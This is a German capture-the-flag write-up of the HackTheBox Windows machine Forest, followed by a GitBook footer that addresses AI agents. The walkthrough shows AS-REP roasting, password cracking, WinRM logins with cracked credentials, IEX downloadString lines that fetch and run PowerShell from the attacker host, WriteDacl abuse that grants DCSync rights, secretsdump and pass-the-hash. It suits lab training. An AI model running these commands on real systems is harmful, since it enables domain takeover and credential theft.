> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md). # Forest HackTheBox Writeup Writeup zur HackTheBox-Easy-Windows-Maschine Forest mit Abdeckung von AXFR - Domain-Zone-Transfer-Angriff (fehlgeschlagen), RPC-Enumeration - gültige Domänenbenutzer ermitteln, einen AS-RepRoast-Angriff mit den erhaltenen Be {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * AXFR - Domainzonen-Transfer-Angriff (fehlgeschlagen) * RPC-Aufzählung - Gültige Domänenbenutzer ermitteln * Durchführung eines AS-RepRoast-Angriffs mit den erhaltenen Benutzern * Hashes knacken * WinRM missbrauchen - EvilWinRM * LDAP-Aufzählung - ldapdomaindump * BloodHound-Aufzählung * Systeminformationen mit SharpHound.ps1 sammeln - PuckieStyle * Daten in BloodHound darstellen und visualisieren * Einen Angriffsvektor in BloodHound finden * Missbrauch der Gruppe Account Operators - Einen neuen Benutzer erstellen * Missbrauch der Gruppe Account Operators - Einer neu erstellten Benutzerin/einem neu erstellten Benutzer eine Gruppe zuweisen * Missbrauch von WriteDacl in der Domäne - DCSync-Berechtigungen gewähren * DCSync-Ausnutzung - Secretsdump.py {% endhint %} ## Aufklärung **Arbeitsbereich einrichten:** Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

**VPN-Verbindungsprüfung** Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

**Offene Ports mit Nmap erkennen:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.161 -oG allPorts ```

**Analyse offener Ports mit extractport:**/ Mithilfe der Funktion extractport offene Ports in kompakter Form anzeigen und in die Zwischenablage kopieren.

**Port- und Versionsscan mit Nmap:**/ Nmap verwenden, um Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern: ```bash nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49671,49676,49677,49682,49705,49914 10.10.10.161 -oN targeted ```

## **Liste und Betrieb:** ### **SMB-Aufklärung:** Verwendung von CrackMapExec, um das Betriebssystem zu identifizieren ```bash crackmapexec cmb 10.10.10.161 ```

Um Domänennamen über DNS in IP-Adressen aufzulösen, wird der mit seiner IP-Adresse verknüpfte Domänenname in das `/etc/hosts` Datei vorhanden sind.

/*/Erkundung der SMB-Freigaben im Netzwerk, um freigegebene Ressourcen zu identifizieren, jedoch ohne Ergebnis. //* ```bash crackmapexec smb 10.10.10.161 --shares ``` ```bash smbclient -L 10.10.10.161 -N ```

### **RPC-Aufklärung:** Verwendung von rpcclient, um mit CPP-Diensten zu interagieren und Ressourceninformationen zu sammeln ```bash rpccclient -U "" 10.10.10.161 -N enumdomusers ```

#### Die Gruppen auflisten: ```bash rpcclient -U "" 10.10.10.161 -N -c 'enumdomgroups' ```

## ASREPRoast-Angriff: #### Mit einer Liste gültiger Benutzer führen wir einen AS-RepRoast-Angriff durch, da wir keine Benutzerpasswörter benötigen. Wir werden `grep` um Benutzernamen zu filtern, dann diese Daten in eine Datei einfügen ```bash rpcclient -U "" 10.10.10.161 -N -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x | tr -d '[]' > users ```

#### Wir verwenden das Tool GetNPUsers.py, um Benutzerinformationen ohne Passwort zu extrahieren: ```bash GetNPUsers.py htb.local/ -no-pass -usersfile users ```

#### Wir holen den Hash des Benutzerpassworts "lucinda" und versuchen, ihn mit John the Ripper anhand einer vorgegebenen Passwortliste zu knacken: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

#### Wir verwenden CrackMapExec, um zu prüfen, ob das geknackte Passwort korrekt ist, indem wir eine WinRM-Verbindung versuchen: ```bash crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' ```

#### Schließlich verwenden wir Evil-WinRM, um mit den geknackten Zugangsdaten eine Verbindung zur Remote-Maschine herzustellen: ```bash evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' ```

## Privilegieneskalation: ### Domänenaufzählung mit BloodHound

BloodHound-Installation:

``` apt install neo4j bloodhound neo4j console &> /dev/null & disown lsof -i:7474 ``` /*/Bei BloodHound mit den Anmeldedaten neo4j:neo4j anmelden. //* ![](https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252F5FZcDczkNZW0GsV9GveF%252Fimage.png%3Falt=media%26token=5de0c395-08b3-4abc-b373-683dddae7528/\&width=300/\&dpr=4/\&quality=100/\&sign=24bf837c04919e72ec25399b5eb63e0e4c1ea9abe1362606119b2c5ac4d8fd74) **BloodHound starten.** ```bash bloodhound &> /dev/null & disown ```

### Informationen mit SharpHound.ps1 sammeln {% embed url="" %} ### Die gesammelten Daten auf einen Linux-Server übertragen. ```bash python3 -m http.server 80 ``` ```bash IEX(New-object Net.WebClient).downloadString('http://10.10.14.8/SharpHound.ps1') ```

```bash Invoke-BloodHound -CollectionMethod All ```

#### Wir übertragen die ZIP-Datei an unser Team. ```bash download C:/Users/svc-alfresco/Desktop/bh/20240329121547_BloodHound.zip data.zip ```

/*/ZIP-Datei in BloodHound importieren. //*

### BloodHound-Analyse und -Operationen #### Daten filtern, um den kürzesten Pfad zum Domänenadministrator zu finden.

#### Mitgliedschaft in einer potenziell problematischen Gruppe (Account Operator) identifizieren.

#### Die Benutzererstellungsfunktion nutzen, um einen DCSync-Angriff vorzubereiten. ```bash net user jordanmacia password123$ /add /domain ```

### DCSync-Versuch ohne ausreichende Rechte ```bash impacket-secretsdump htb.local/jordanmacia@10.10.10.161 ```

#### Benutzer einer Gruppe mit höheren Berechtigungen hinzugefügt (`Exchange Windows Permissions`).

```bash net group "Exchange Windows Permissions" jordanmacia /add ```

### WriteDACL-Angriff:

```bash $SecPassword = ConvertTo-SecureString 'password123$' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('htb.local/jordanmacia', $SecPassword) ``` Vorbereitung des WriteDACL-Angriffs mit PowerView\.ps1, um zusätzliche Funktionalität hinzuzufügen. {% embed url="" %}

#### Datei übertragen ``` python3 -m http.server 80 ``` ```bash powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11/PowerView.ps1')" ``` ## DCSync-Angriffsanfälligkeit #### Führen Sie den Befehl Add-DomainObjectAcl aus, um die Hashes zu erhalten. ``` Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jordanmacia -Rights DCSync ``` #### Verwendung von Impacket, um mit dem Benutzer jordanmacia Hashes zu extrahieren. ``` impacket-secretsdump htb.local/jordanmacia@10.10.10.161 ```

### Pass-the-Hash-Angriff: Verwendung des NT-Hashes des Administrators für den Pass-the-Hash-Angriff. ```bash evil-winrm -i 10.10.10.161 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6' ``` #### Zugriff auf das System mit Administratorrechten.

### Endgültige Flagge :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.